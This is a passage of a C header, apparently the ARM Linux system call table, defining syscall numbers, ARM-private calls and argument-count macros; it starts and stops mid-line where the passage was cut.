*/ #define __NR_geteuid (__NR_SYSCALL_BASE+ 49) #define __NR_getegid (__NR_SYSCALL_BASE+ 50) #define __NR_acct (__NR_SYSCALL_BASE+ 51) #define __NR_umount2 (__NR_SYSCALL_BASE+ 52) /* 53 was sys_lock */ #define __NR_ioctl (__NR_SYSCALL_BASE+ 54) #define __NR_fcntl (__NR_SYSCALL_BASE+ 55) /* 56 was sys_mpx */ #define __NR_setpgid (__NR_SYSCALL_BASE+ 57) /* 58 was sys_ulimit */ /* 59 was sys_olduname */ #define __NR_umask (__NR_SYSCALL_BASE+ 60) #define __NR_chroot (__NR_SYSCALL_BASE+ 61) #define __NR_ustat (__NR_SYSCALL_BASE+ 62) #define __NR_dup2 (__NR_SYSCALL_BASE+ 63) #define __NR_getppid (__NR_SYSCALL_BASE+ 64) #define __NR_getpgrp (__NR_SYSCALL_BASE+ 65) #define __NR_setsid (__NR_SYSCALL_BASE+ 66) #define __NR_sigaction (__NR_SYSCALL_BASE+ 67) /* 68 was sys_sgetmask */ /* 69 was sys_ssetmask */ #define __NR_setreuid (__NR_SYSCALL_BASE+ 70) #define __NR_setregid (__NR_SYSCALL_BASE+ 71) #define __NR_sigsuspend (__NR_SYSCALL_BASE+ 72) #define __NR_sigpending (__NR_SYSCALL_BASE+ 73) #define __NR_sethostname (__NR_SYSCALL_BASE+ 74) #define __NR_setrlimit (__NR_SYSCALL_BASE+ 75) #define __NR_getrlimit (__NR_SYSCALL_BASE+ 76) /* Back compat 2GB limited rlimit */ #define __NR_getrusage (__NR_SYSCALL_BASE+ 77) #define __NR_gettimeofday (__NR_SYSCALL_BASE+ 78) #define __NR_settimeofday (__NR_SYSCALL_BASE+ 79) #define __NR_getgroups (__NR_SYSCALL_BASE+ 80) #define __NR_setgroups (__NR_SYSCALL_BASE+ 81) #define __NR_select (__NR_SYSCALL_BASE+ 82) #define __NR_symlink (__NR_SYSCALL_BASE+ 83) /* 84 was sys_lstat */ #define __NR_readlink (__NR_SYSCALL_BASE+ 85) #define __NR_uselib (__NR_SYSCALL_BASE+ 86) #define __NR_swapon (__NR_SYSCALL_BASE+ 87) #define __NR_reboot (__NR_SYSCALL_BASE+ 88) #define __NR_readdir (__NR_SYSCALL_BASE+ 89) #define __NR_mmap (__NR_SYSCALL_BASE+ 90) #define __NR_munmap (__NR_SYSCALL_BASE+ 91) #define __NR_truncate (__NR_SYSCALL_BASE+ 92) #define __NR_ftruncate (__NR_SYSCALL_BASE+ 93) #define __NR_fchmod (__NR_SYSCALL_BASE+ 94) #define __NR_fchown (__NR_SYSCALL_BASE+ 95) #define __NR_getpriority (__NR_SYSCALL_BASE+ 96) #define __NR_setpriority (__NR_SYSCALL_BASE+ 97) /* 98 was sys_profil */ #define __NR_statfs (__NR_SYSCALL_BASE+ 99) #define __NR_fstatfs (__NR_SYSCALL_BASE+100) /* 101 was sys_ioperm */ #define __NR_socketcall (__NR_SYSCALL_BASE+102) #define __NR_syslog (__NR_SYSCALL_BASE+103) #define __NR_setitimer (__NR_SYSCALL_BASE+104) #define __NR_getitimer (__NR_SYSCALL_BASE+105) #define __NR_stat (__NR_SYSCALL_BASE+106) #define __NR_lstat (__NR_SYSCALL_BASE+107) #define __NR_fstat (__NR_SYSCALL_BASE+108) /* 109 was sys_uname */ /* 110 was sys_iopl */ #define __NR_vhangup (__NR_SYSCALL_BASE+111) /* 112 was sys_idle */ #define __NR_syscall (__NR_SYSCALL_BASE+113) /* syscall to call a syscall! */ #define __NR_wait4 (__NR_SYSCALL_BASE+114) #define __NR_swapoff (__NR_SYSCALL_BASE+115) #define __NR_sysinfo (__NR_SYSCALL_BASE+116) #define __NR_ipc (__NR_SYSCALL_BASE+117) #define __NR_fsync (__NR_SYSCALL_BASE+118) #define __NR_sigreturn (__NR_SYSCALL_BASE+119) #define __NR_clone (__NR_SYSCALL_BASE+120) #define __NR_setdomainname (__NR_SYSCALL_BASE+121) #define __NR_uname (__NR_SYSCALL_BASE+122) /* 123 was sys_modify_ldt */ #define __NR_adjtimex (__NR_SYSCALL_BASE+124) #define __NR_mprotect (__NR_SYSCALL_BASE+125) #define __NR_sigprocmask (__NR_SYSCALL_BASE+126) /* 127 was sys_create_module */ #define __NR_init_module (__NR_SYSCALL_BASE+128) #define __NR_delete_module (__NR_SYSCALL_BASE+129) /* 130 was sys_get_kernel_syms */ #define __NR_quotactl (__NR_SYSCALL_BASE+131) #define __NR_getpgid (__NR_SYSCALL_BASE+132) #define __NR_fchdir (__NR_SYSCALL_BASE+133) #define __NR_bdflush (__NR_SYSCALL_BASE+134) #define __NR_sysfs (__NR_SYSCALL_BASE+135) #define __NR_personality (__NR_SYSCALL_BASE+136) /* 137 was sys_afs_syscall */ #define __NR_setfsuid (__NR_SYSCALL_BASE+138) #define __NR_setfsgid (__NR_SYSCALL_BASE+139) #define __NR__llseek (__NR_SYSCALL_BASE+140) #define __NR_getdents (__NR_SYSCALL_BASE+141) #define __NR__newselect (__NR_SYSCALL_BASE+142) #define __NR_flock (__NR_SYSCALL_BASE+143) #define __NR_msync (__NR_SYSCALL_BASE+144) #define __NR_readv (__NR_SYSCALL_BASE+145) #define __NR_writev (__NR_SYSCALL_BASE+146) #define __NR_getsid (__NR_SYSCALL_BASE+147) #define __NR_fdatasync (__NR_SYSCALL_BASE+148) #define __NR__sysctl (__NR_SYSCALL_BASE+149) #define __NR_mlock (__NR_SYSCALL_BASE+150) #define __NR_munlock (__NR_SYSCALL_BASE+151) #define __NR_mlockall (__NR_SYSCALL_BASE+152) #define __NR_munlockall (__NR_SYSCALL_BASE+153) #define __NR_sched_setparam (__NR_SYSCALL_BASE+154) #define __NR_sched_getparam (__NR_SYSCALL_BASE+155) #define __NR_sched_setscheduler (__NR_SYSCALL_BASE+156) #define __NR_sched_getscheduler (__NR_SYSCALL_BASE+157) #define __NR_sched_yield (__NR_SYSCALL_BASE+158) #define __NR_sched_get_priority_max (__NR_SYSCALL_BASE+159) #define __NR_sched_get_priority_min (__NR_SYSCALL_BASE+160) #define __NR_sched_rr_get_interval (__NR_SYSCALL_BASE+161) #define __NR_nanosleep (__NR_SYSCALL_BASE+162) #define __NR_mremap (__NR_SYSCALL_BASE+163) #define __NR_setresuid (__NR_SYSCALL_BASE+164) #define __NR_getresuid (__NR_SYSCALL_BASE+165) /* 166 was sys_vm86 */ /* 167 was sys_query_module */ #define __NR_poll (__NR_SYSCALL_BASE+168) #define __NR_nfsservctl (__NR_SYSCALL_BASE+169) #define __NR_setresgid (__NR_SYSCALL_BASE+170) #define __NR_getresgid (__NR_SYSCALL_BASE+171) #define __NR_prctl (__NR_SYSCALL_BASE+172) #define __NR_rt_sigreturn (__NR_SYSCALL_BASE+173) #define __NR_rt_sigaction (__NR_SYSCALL_BASE+174) #define __NR_rt_sigprocmask (__NR_SYSCALL_BASE+175) #define __NR_rt_sigpending (__NR_SYSCALL_BASE+176) #define __NR_rt_sigtimedwait (__NR_SYSCALL_BASE+177) #define __NR_rt_sigqueueinfo (__NR_SYSCALL_BASE+178) #define __NR_rt_sigsuspend (__NR_SYSCALL_BASE+179) #define __NR_pread64 (__NR_SYSCALL_BASE+180) #define __NR_pwrite64 (__NR_SYSCALL_BASE+181) #define __NR_chown (__NR_SYSCALL_BASE+182) #define __NR_getcwd (__NR_SYSCALL_BASE+183) #define __NR_capget (__NR_SYSCALL_BASE+184) #define __NR_capset (__NR_SYSCALL_BASE+185) #define __NR_sigaltstack (__NR_SYSCALL_BASE+186) #define __NR_sendfile (__NR_SYSCALL_BASE+187) /* 188 reserved */ /* 189 reserved */ #define __NR_vfork (__NR_SYSCALL_BASE+190) #define __NR_ugetrlimit (__NR_SYSCALL_BASE+191) /* SuS compliant getrlimit */ #define __NR_mmap2 (__NR_SYSCALL_BASE+192) #define __NR_truncate64 (__NR_SYSCALL_BASE+193) #define __NR_ftruncate64 (__NR_SYSCALL_BASE+194) #define __NR_stat64 (__NR_SYSCALL_BASE+195) #define __NR_lstat64 (__NR_SYSCALL_BASE+196) #define __NR_fstat64 (__NR_SYSCALL_BASE+197) #define __NR_lchown32 (__NR_SYSCALL_BASE+198) #define __NR_getuid32 (__NR_SYSCALL_BASE+199) #define __NR_getgid32 (__NR_SYSCALL_BASE+200) #define __NR_geteuid32 (__NR_SYSCALL_BASE+201) #define __NR_getegid32 (__NR_SYSCALL_BASE+202) #define __NR_setreuid32 (__NR_SYSCALL_BASE+203) #define __NR_setregid32 (__NR_SYSCALL_BASE+204) #define __NR_getgroups32 (__NR_SYSCALL_BASE+205) #define __NR_setgroups32 (__NR_SYSCALL_BASE+206) #define __NR_fchown32 (__NR_SYSCALL_BASE+207) #define __NR_setresuid32 (__NR_SYSCALL_BASE+208) #define __NR_getresuid32 (__NR_SYSCALL_BASE+209) #define __NR_setresgid32 (__NR_SYSCALL_BASE+210) #define __NR_getresgid32 (__NR_SYSCALL_BASE+211) #define __NR_chown32 (__NR_SYSCALL_BASE+212) #define __NR_setuid32 (__NR_SYSCALL_BASE+213) #define __NR_setgid32 (__NR_SYSCALL_BASE+214) #define __NR_setfsuid32 (__NR_SYSCALL_BASE+215) #define __NR_setfsgid32 (__NR_SYSCALL_BASE+216) #define __NR_getdents64 (__NR_SYSCALL_BASE+217) #define __NR_pivot_root (__NR_SYSCALL_BASE+218) #define __NR_mincore (__NR_SYSCALL_BASE+219) #define __NR_madvise (__NR_SYSCALL_BASE+220) #define __NR_fcntl64 (__NR_SYSCALL_BASE+221) /* 222 for tux */ /* 223 is unused */ #define __NR_gettid (__NR_SYSCALL_BASE+224) #define __NR_readahead (__NR_SYSCALL_BASE+225) #define __NR_setxattr (__NR_SYSCALL_BASE+226) #define __NR_lsetxattr (__NR_SYSCALL_BASE+227) #define __NR_fsetxattr (__NR_SYSCALL_BASE+228) #define __NR_getxattr (__NR_SYSCALL_BASE+229) #define __NR_lgetxattr (__NR_SYSCALL_BASE+230) #define __NR_fgetxattr (__NR_SYSCALL_BASE+231) #define __NR_listxattr (__NR_SYSCALL_BASE+232) #define __NR_llistxattr (__NR_SYSCALL_BASE+233) #define __NR_flistxattr (__NR_SYSCALL_BASE+234) #define __NR_removexattr (__NR_SYSCALL_BASE+235) #define __NR_lremovexattr (__NR_SYSCALL_BASE+236) #define __NR_fremovexattr (__NR_SYSCALL_BASE+237) #define __NR_tkill (__NR_SYSCALL_BASE+238) #define __NR_sendfile64 (__NR_SYSCALL_BASE+239) #define __NR_futex (__NR_SYSCALL_BASE+240) #define __NR_sched_setaffinity (__NR_SYSCALL_BASE+241) #define __NR_sched_getaffinity (__NR_SYSCALL_BASE+242) #define __NR_io_setup (__NR_SYSCALL_BASE+243) #define __NR_io_destroy (__NR_SYSCALL_BASE+244) #define __NR_io_getevents (__NR_SYSCALL_BASE+245) #define __NR_io_submit (__NR_SYSCALL_BASE+246) #define __NR_io_cancel (__NR_SYSCALL_BASE+247) #define __NR_exit_group (__NR_SYSCALL_BASE+248) #define __NR_lookup_dcookie (__NR_SYSCALL_BASE+249) #define __NR_epoll_create (__NR_SYSCALL_BASE+250) #define __NR_epoll_ctl (__NR_SYSCALL_BASE+251) #define __NR_epoll_wait (__NR_SYSCALL_BASE+252) #define __NR_remap_file_pages (__NR_SYSCALL_BASE+253) /* 254 for set_thread_area */ /* 255 for get_thread_area */ #define __NR_set_tid_address (__NR_SYSCALL_BASE+256) #define __NR_timer_create (__NR_SYSCALL_BASE+257) #define __NR_timer_settime (__NR_SYSCALL_BASE+258) #define __NR_timer_gettime (__NR_SYSCALL_BASE+259) #define __NR_timer_getoverrun (__NR_SYSCALL_BASE+260) #define __NR_timer_delete (__NR_SYSCALL_BASE+261) #define __NR_clock_settime (__NR_SYSCALL_BASE+262) #define __NR_clock_gettime (__NR_SYSCALL_BASE+263) #define __NR_clock_getres (__NR_SYSCALL_BASE+264) #define __NR_clock_nanosleep (__NR_SYSCALL_BASE+265) #define __NR_statfs64 (__NR_SYSCALL_BASE+266) #define __NR_fstatfs64 (__NR_SYSCALL_BASE+267) #define __NR_tgkill (__NR_SYSCALL_BASE+268) #define __NR_utimes (__NR_SYSCALL_BASE+269) #define __NR_arm_fadvise64_64 (__NR_SYSCALL_BASE+270) #define __NR_pciconfig_iobase (__NR_SYSCALL_BASE+271) #define __NR_pciconfig_read (__NR_SYSCALL_BASE+272) #define __NR_pciconfig_write (__NR_SYSCALL_BASE+273) #define __NR_mq_open (__NR_SYSCALL_BASE+274) #define __NR_mq_unlink (__NR_SYSCALL_BASE+275) #define __NR_mq_timedsend (__NR_SYSCALL_BASE+276) #define __NR_mq_timedreceive (__NR_SYSCALL_BASE+277) #define __NR_mq_notify (__NR_SYSCALL_BASE+278) #define __NR_mq_getsetattr (__NR_SYSCALL_BASE+279) #define __NR_waitid (__NR_SYSCALL_BASE+280) #define __NR_socket (__NR_SYSCALL_BASE+281) #define __NR_bind (__NR_SYSCALL_BASE+282) #define __NR_connect (__NR_SYSCALL_BASE+283) #define __NR_listen (__NR_SYSCALL_BASE+284) #define __NR_accept (__NR_SYSCALL_BASE+285) #define __NR_getsockname (__NR_SYSCALL_BASE+286) #define __NR_getpeername (__NR_SYSCALL_BASE+287) #define __NR_socketpair (__NR_SYSCALL_BASE+288) #define __NR_send (__NR_SYSCALL_BASE+289) #define __NR_sendto (__NR_SYSCALL_BASE+290) #define __NR_recv (__NR_SYSCALL_BASE+291) #define __NR_recvfrom (__NR_SYSCALL_BASE+292) #define __NR_shutdown (__NR_SYSCALL_BASE+293) #define __NR_setsockopt (__NR_SYSCALL_BASE+294) #define __NR_getsockopt (__NR_SYSCALL_BASE+295) #define __NR_sendmsg (__NR_SYSCALL_BASE+296) #define __NR_recvmsg (__NR_SYSCALL_BASE+297) #define __NR_semop (__NR_SYSCALL_BASE+298) #define __NR_semget (__NR_SYSCALL_BASE+299) #define __NR_semctl (__NR_SYSCALL_BASE+300) #define __NR_msgsnd (__NR_SYSCALL_BASE+301) #define __NR_msgrcv (__NR_SYSCALL_BASE+302) #define __NR_msgget (__NR_SYSCALL_BASE+303) #define __NR_msgctl (__NR_SYSCALL_BASE+304) #define __NR_shmat (__NR_SYSCALL_BASE+305) #define __NR_shmdt (__NR_SYSCALL_BASE+306) #define __NR_shmget (__NR_SYSCALL_BASE+307) #define __NR_shmctl (__NR_SYSCALL_BASE+308) #define __NR_add_key (__NR_SYSCALL_BASE+309) #define __NR_request_key (__NR_SYSCALL_BASE+310) #define __NR_keyctl (__NR_SYSCALL_BASE+311) #define __NR_semtimedop (__NR_SYSCALL_BASE+312) #define __NR_vserver (__NR_SYSCALL_BASE+313) #define __NR_ioprio_set (__NR_SYSCALL_BASE+314) #define __NR_ioprio_get (__NR_SYSCALL_BASE+315) #define __NR_inotify_init (__NR_SYSCALL_BASE+316) #define __NR_inotify_add_watch (__NR_SYSCALL_BASE+317) #define __NR_inotify_rm_watch (__NR_SYSCALL_BASE+318) #define __NR_mbind (__NR_SYSCALL_BASE+319) #define __NR_get_mempolicy (__NR_SYSCALL_BASE+320) #define __NR_set_mempolicy (__NR_SYSCALL_BASE+321) #define __NR_openat (__NR_SYSCALL_BASE+322) #define __NR_mkdirat (__NR_SYSCALL_BASE+323) #define __NR_mknodat (__NR_SYSCALL_BASE+324) #define __NR_fchownat (__NR_SYSCALL_BASE+325) #define __NR_futimesat (__NR_SYSCALL_BASE+326) #define __NR_fstatat64 (__NR_SYSCALL_BASE+327) #define __NR_unlinkat (__NR_SYSCALL_BASE+328) #define __NR_renameat (__NR_SYSCALL_BASE+329) #define __NR_linkat (__NR_SYSCALL_BASE+330) #define __NR_symlinkat (__NR_SYSCALL_BASE+331) #define __NR_readlinkat (__NR_SYSCALL_BASE+332) #define __NR_fchmodat (__NR_SYSCALL_BASE+333) #define __NR_faccessat (__NR_SYSCALL_BASE+334) /* 335 for pselect6 */ /* 336 for ppoll */ #define __NR_unshare (__NR_SYSCALL_BASE+337) #define __NR_set_robust_list (__NR_SYSCALL_BASE+338) #define __NR_get_robust_list (__NR_SYSCALL_BASE+339) #define __NR_splice (__NR_SYSCALL_BASE+340) #define __NR_arm_sync_file_range (__NR_SYSCALL_BASE+341) #define __NR_tee (__NR_SYSCALL_BASE+342) #define __NR_vmsplice (__NR_SYSCALL_BASE+343) #define __NR_move_pages (__NR_SYSCALL_BASE+344) #define __NR_getcpu (__NR_SYSCALL_BASE+345) /* 346 for epoll_pwait */ #define __NR_kexec_load (__NR_SYSCALL_BASE+347) #define __NR_utimensat (__NR_SYSCALL_BASE+348) #define __NR_signalfd (__NR_SYSCALL_BASE+349) #define __NR_timerfd (__NR_SYSCALL_BASE+350) #define __NR_eventfd (__NR_SYSCALL_BASE+351) #define __NR_fallocate (__NR_SYSCALL_BASE+352) #define __NR_timerfd_settime (__NR_SYSCALL_BASE+353) #define __NR_timerfd_gettime (__NR_SYSCALL_BASE+354) #define __NR_signalfd4 (__NR_SYSCALL_BASE+355) #define __NR_eventfd2 (__NR_SYSCALL_BASE+356) #define __NR_epoll_create1 (__NR_SYSCALL_BASE+357) #define __NR_dup3 (__NR_SYSCALL_BASE+358) #define __NR_pipe2 (__NR_SYSCALL_BASE+359) #define __NR_inotify_init1 (__NR_SYSCALL_BASE+360) #define __NR_preadv (__NR_SYSCALL_BASE+361) #define __NR_pwritev (__NR_SYSCALL_BASE+362) #define __NR_rt_tgsigqueueinfo (__NR_SYSCALL_BASE+363) #define __NR_perf_event_open (__NR_SYSCALL_BASE+364) #define __NR_recvmmsg (__NR_SYSCALL_BASE+365) #define __NR_accept4 (__NR_SYSCALL_BASE+366) #define __NR_fanotify_init (__NR_SYSCALL_BASE+367) #define __NR_fanotify_mark (__NR_SYSCALL_BASE+368) #define __NR_prlimit64 (__NR_SYSCALL_BASE+369) #define __NR_name_to_handle_at (__NR_SYSCALL_BASE+370) #define __NR_open_by_handle_at (__NR_SYSCALL_BASE+371) #define __NR_clock_adjtime (__NR_SYSCALL_BASE+372) #define __NR_syncfs (__NR_SYSCALL_BASE+373) #define __NR_sendmmsg (__NR_SYSCALL_BASE+374) #define __NR_setns (__NR_SYSCALL_BASE+375) #define __NR_process_vm_readv (__NR_SYSCALL_BASE+376) #define __NR_process_vm_writev (__NR_SYSCALL_BASE+377) #define __NR_kcmp (__NR_SYSCALL_BASE+378) #define __NR_finit_module (__NR_SYSCALL_BASE+379) #define __NR_sched_setattr (__NR_SYSCALL_BASE+380) #define __NR_sched_getattr (__NR_SYSCALL_BASE+381) #define __NR_renameat2 (__NR_SYSCALL_BASE+382) #define __NR_seccomp (__NR_SYSCALL_BASE+383) #define __NR_getrandom (__NR_SYSCALL_BASE+384) #define __NR_memfd_create (__NR_SYSCALL_BASE+385) #define __NR_bpf (__NR_SYSCALL_BASE+386) #define __NR_execveat (__NR_SYSCALL_BASE+387) #define __NR_userfaultfd (__NR_SYSCALL_BASE+388) #define __NR_membarrier (__NR_SYSCALL_BASE+389) #define __NR_mlock2 (__NR_SYSCALL_BASE+390) #define __NR_copy_file_range (__NR_SYSCALL_BASE+391) #define __NR_preadv2 (__NR_SYSCALL_BASE+392) #define __NR_pwritev2 (__NR_SYSCALL_BASE+393) #define __NR_pkey_mprotect (__NR_SYSCALL_BASE + 394) #define __NR_pkey_alloc (__NR_SYSCALL_BASE + 395) #define __NR_pkey_free (__NR_SYSCALL_BASE + 396) #define __NR_statx (__NR_SYSCALL_BASE + 397) #define __NR_rseq (__NR_SYSCALL_BASE + 398) #define __NR_io_pgetevents (__NR_SYSCALL_BASE + 399) #define __NR_migrate_pages (__NR_SYSCALL_BASE + 400) #define __NR_kexec_file_load (__NR_SYSCALL_BASE + 401) #define __NR_clock_gettime64 (__NR_SYSCALL_BASE + 403) #define __NR_clock_settime64 (__NR_SYSCALL_BASE + 404) #define __NR_clock_adjtime64 (__NR_SYSCALL_BASE + 405) #define __NR_clock_getres_time64 (__NR_SYSCALL_BASE + 406) #define __NR_clock_nanosleep_time64 (__NR_SYSCALL_BASE + 407) #define __NR_timer_gettime64 (__NR_SYSCALL_BASE + 408) #define __NR_timer_settime64 (__NR_SYSCALL_BASE + 409) #define __NR_timerfd_gettime64 (__NR_SYSCALL_BASE + 410) #define __NR_timerfd_settime64 (__NR_SYSCALL_BASE + 411) #define __NR_utimensat_time64 (__NR_SYSCALL_BASE + 412) #define __NR_pselect6_time64 (__NR_SYSCALL_BASE + 413) #define __NR_ppoll_time64 (__NR_SYSCALL_BASE + 414) #define __NR_io_pgetevents_time64 (__NR_SYSCALL_BASE + 416) #define __NR_recvmmsg_time64 (__NR_SYSCALL_BASE + 417) #define __NR_mq_timedsend_time64 (__NR_SYSCALL_BASE + 418) #define __NR_mq_timedreceive_time64 (__NR_SYSCALL_BASE + 419) #define __NR_semtimedop_time64 (__NR_SYSCALL_BASE + 420) #define __NR_rt_sigtimedwait_time64 (__NR_SYSCALL_BASE + 421) #define __NR_futex_time64 (__NR_SYSCALL_BASE + 422) #define __NR_sched_rr_get_interval_time64 (__NR_SYSCALL_BASE + 423) #define __NR_pidfd_send_signal (__NR_SYSCALL_BASE + 424) #define __NR_io_uring_setup (__NR_SYSCALL_BASE + 425) #define __NR_io_uring_enter (__NR_SYSCALL_BASE + 426) #define __NR_io_uring_register (__NR_SYSCALL_BASE + 427) #define __NR_open_tree (__NR_SYSCALL_BASE + 428) #define __NR_move_mount (__NR_SYSCALL_BASE + 429) #define __NR_fsopen (__NR_SYSCALL_BASE + 430) #define __NR_fsconfig (__NR_SYSCALL_BASE + 431) #define __NR_fsmount (__NR_SYSCALL_BASE + 432) #define __NR_fspick (__NR_SYSCALL_BASE + 433) #define __NR_pidfd_open (__NR_SYSCALL_BASE + 434) #define __NR_clone3 (__NR_SYSCALL_BASE + 435) #define __NR_openat2 (__NR_SYSCALL_BASE + 437) #define __NR_pidfd_getfd (__NR_SYSCALL_BASE + 438) /* * The following SWIs are ARM private. */ #define __ARM_NR_BASE (__NR_SYSCALL_BASE+0x0f0000) #define __ARM_NR_breakpoint (__ARM_NR_BASE+1) #define __ARM_NR_cacheflush (__ARM_NR_BASE+2) #define __ARM_NR_usr26 (__ARM_NR_BASE+3) #define __ARM_NR_usr32 (__ARM_NR_BASE+4) #define __ARM_NR_set_tls (__ARM_NR_BASE+5) /* * The following syscalls are obsolete and no longer available for EABI. */ #if defined(__ARM_EABI__) && !defined(__KERNEL__) #undef __NR_time #undef __NR_umount #undef __NR_stime #undef __NR_alarm #undef __NR_utime #undef __NR_getrlimit #undef __NR_select #undef __NR_readdir #undef __NR_mmap #undef __NR_socketcall #undef __NR_syscall #undef __NR_ipc #endif /* ok the next few values are for the optimization of the unified syscalls * on arm. * If the syscall has #arguments * <=4 set to 0 * >4 set to 1 * * Since the majority of the syscalls need <=4 arguments this saves a lot * of byte (12 per syscall) and cycles (~16) */ #define __ARGS_exit 0 #define __ARGS_fork 0 #define __ARGS_read 0 #define __ARGS_write 0 #define __ARGS_open 0 #define __ARGS_close 0 #define __ARGS_waitpid 0 #define __ARGS_creat 0 #define __ARGS_link 0 #define __ARGS_unlink 0 #define __ARGS_execve 0 #define __ARGS_chdir 0 #define __ARGS_time 0 #define __ARGS_mknod 0 #define __ARGS_chmod 0 #define __ARGS_lchown 0 #define __ARGS_break 0 #define __ARGS_lseek 0 #define __ARGS_getpid 0 #define __ARGS_mount 1 #define __ARGS_umount 0 #define __ARGS_setuid 0 #define __ARGS_getuid 0 #define __ARGS_stime 0 #define __ARGS_ptrace 0 #define __ARGS_alarm 0 #define __ARGS_pause 0 #define __ARGS_utime 0 #define __ARGS_stty 0 #define __ARGS_gtty 0 #define __ARGS_access 0 #define __ARGS_nice 0 #define __ARGS_ftime 0 #define __ARGS_sync 0 #define __ARGS_kill 0 #define __ARGS_rename 0 #define __ARGS_mkdir 0 #define __ARGS_rmdir 0 #define __ARGS_dup 0 #define __ARGS_pipe 0 #define __ARGS_times 0 #define __ARGS_prof 0 #define __ARGS_brk 0 #define __ARGS_setgid 0 #define __ARGS_getgid 0 #define __ARGS_signal 0 #define __ARGS_geteuid 0 #define __ARGS_getegid 0 #define __ARGS_acct 0 #define __ARGS_umount2 0 #define __ARGS_lock 0 #define __ARGS_ioctl 0 #define __ARGS_fcntl 0 #define __ARGS_mpx 0 #define __ARGS_setpgid 0 #define __ARGS_ulimit 0 #define __ARGS_umask 0 #define __ARGS_chroot 0 #define __ARGS_ustat 0 #define __ARGS_dup2 0 #define __ARGS_getppid 0 #define __ARGS_getpgrp 0 #define __ARGS_setsid 0 #define __ARGS_sigaction 0 #define __ARGS_sgetmask 0 #define __ARGS_ssetmask 0 #define __ARGS_setreuid 0 #define __ARGS_setregid 0 #define __ARGS_sigsuspend 0 #define __ARGS_sigpending 0 #define __ARGS_sethostname 0 #define __ARGS_setrlimit 0 #define __ARGS_getrlimit 0 #define __ARGS_getrusage 0 #define __ARGS_gettimeofday 0 #define __ARGS_settimeofday 0 #define __ARGS_getgroups 0 #define __ARGS_setgroups 0 #define __ARGS_select 0 #define __ARGS_symlink 0 #define __ARGS_readlink 0 #define __ARGS_uselib 0 #define __ARGS_swapon 0 #define __ARGS_reboot 0 #define __ARGS_readdir 0 #define __ARGS_mmap 0 /* this is NOT 1 !!! (special case) */ #define __ARGS_munmap 0 #define __ARGS_truncate 0 #define __ARGS_ftruncate 0 #define __ARGS_fchmod 0 #define __ARGS_fchown 0 #define __ARGS_getpriority 0 #define __ARGS_setpriority 0 #define __ARGS_profil 0 #define __ARGS_statfs 0 #define __ARGS_fstatfs 0 #define __ARGS_ioperm 0 #define __ARGS_socketcall 0 #define __ARGS_syslog 0 #define __ARGS_setitimer 0 #define __ARGS_getitimer 0 #define __ARGS_stat 0 #define __ARGS_lstat 0 #define __ARGS_fstat 0 #define __ARGS_vhangup 0 #define __ARGS_idle 0 #define __ARGS_syscall 0 #define __ARGS_wait4 0 #define __ARGS_swapoff 0 #define __ARGS_sysinfo 0 #define __ARGS_ipc 1 #define __ARGS_fsync 0 #define __ARGS_sigreturn 0 #define __ARGS_clone 0 #define __ARGS_setdomainname 0 #define __ARGS_uname 0 #define __ARGS_modify_ldt 0 #define __ARGS_adjtimex 0 #define __ARGS_mprotect 0 #define __ARGS_sigprocmask 0 #define __ARGS_create_module 0 #define __ARGS_init_module 0 #define __ARGS_delete_module 0 #define __ARGS_get_kernel_syms 0 #define __ARGS_quotactl 0 #define __ARGS_getpgid 0 #define __ARGS_fchdir 0 #define __ARGS_bdflush 0 #define __ARGS_sysfs 0 #define __ARGS_personality 0 #define __ARGS_afs_syscall 0 #define __ARGS_setfsuid 0 #define __ARGS_setfsgid 0 #define __ARGS__llseek 1 #define __ARGS_getdents 0 #define __ARGS__newselect 1 #define __ARGS_flock 0 #define __ARGS_msync 0 #define __ARGS_readv 0 #define __ARGS_writev 0 #define __ARGS_getsid 0 #define __ARGS_fdatasync 0 #define __ARGS__sysctl 0 #define __ARGS_mlock 0 #define __ARGS_munlock 0 #define __ARGS_mlockall 0 #define __ARGS_munlockall 0 #define __ARGS_sched_setparam 0 #define __ARGS_sched_getparam 0 #define __ARGS_sched_setscheduler 0 #define __ARGS_sched_getscheduler 0 #define __ARGS_sched_yield 0 #define __ARGS_sched_get_priority_max 0 #define __ARGS_sched_get_priority_min 0 #define __ARGS_sched_rr_get_interval 0 #define __ARGS_nanosleep 0 #define __ARGS_mremap 0 #define __ARGS_setresuid 0 #define __ARGS_getresuid 0 #define __ARGS_vm86 0 #define __ARGS_query_module 1 #define __ARGS_poll 0 #define __ARGS_nfsservctl 0 #define __ARGS_setresgid 0 #define __ARGS_getresgid 0 #define __ARGS_prctl 1 #define __ARGS_rt_sigreturn 0 #define __ARGS_rt_sigaction 0 #define __ARGS_rt_sigprocmask 0 #define __ARGS_rt_sigpending 0 #define __ARGS_rt_sigtimedwait 0 #define __ARGS_rt_sigqueueinfo 0 #define __ARGS_rt_sigsuspend 0 #define __ARGS_pread 0 #define __ARGS_pwrite 0 #define __ARGS_pread64 0 #define __ARGS_pwrite64 0 #define __ARGS_chown 0 #define __ARGS_getcwd 0 #define __ARGS_capget 0 #define __ARGS_capset 0 #define __ARGS_sigaltstack 0 #define __ARGS_sendfile 0 #define __ARGS_vfork 0 #define __ARGS_ugetrlimit 0 #define __ARGS_mmap2 1 #define __ARGS_truncate64 0 #define __ARGS_ftruncate64 0 #define __ARGS_stat64 0 #define __ARGS_lstat64 0 #define __ARGS_fstat64 0 #define __ARGS_lchown32 0 #define __ARGS_getuid32 0 #define __ARGS_getgid32 0 #define __ARGS_geteuid32 0 #define __ARGS_getegid32 0 #define __ARGS_setreuid32 0 #define __ARGS_setregid32 0 #define __ARGS_getgroups32 0 #define __ARGS_setgroups32 0 #define __ARGS_fchown32 0 #define __ARGS_setresuid32 0 #define __ARGS_getresuid32 0 #define __ARGS_setresgid32 0 #define __ARGS_getresgid32 0 #define __ARGS_chown32 0 #define __ARGS_setuid32 0 #define __ARGS_setgid32 0 #define __ARGS_setfsuid32 0 #define __ARGS_setfsgid32 0 #define __ARGS_getdents64 0 #define __ARGS_pivot_root 0 #define __ARGS_mincore 0 #define __ARGS_madvise 0 #define __ARGS_fcntl64 0 #define __ARGS_security 0 #define __ARGS_gettid 0 #define __ARGS_readahead 0 #define __ARGS_setxattr 1 #define __ARGS_lsetxattr 1 #define __ARGS_fsetxattr 1 #define __ARGS_getxattr 0 #define __ARGS_lgetxattr 0 #define __ARGS_fgetxattr 0 #define __ARGS_listxattr 0 #define __ARGS_llistxattr 0 #define __ARGS_flistxattr 0 #define __ARGS_removexattr 0 #define __ARGS_lremovexattr 0 #define __ARGS_fremovexattr 0 #define __ARGS_tkill 0 #define __ARGS_sendfile64 0 #define __ARGS_futex 0 #define __ARGS_sched_setaffinity 0 #define __ARGS_sched_getaffinity 0 #define 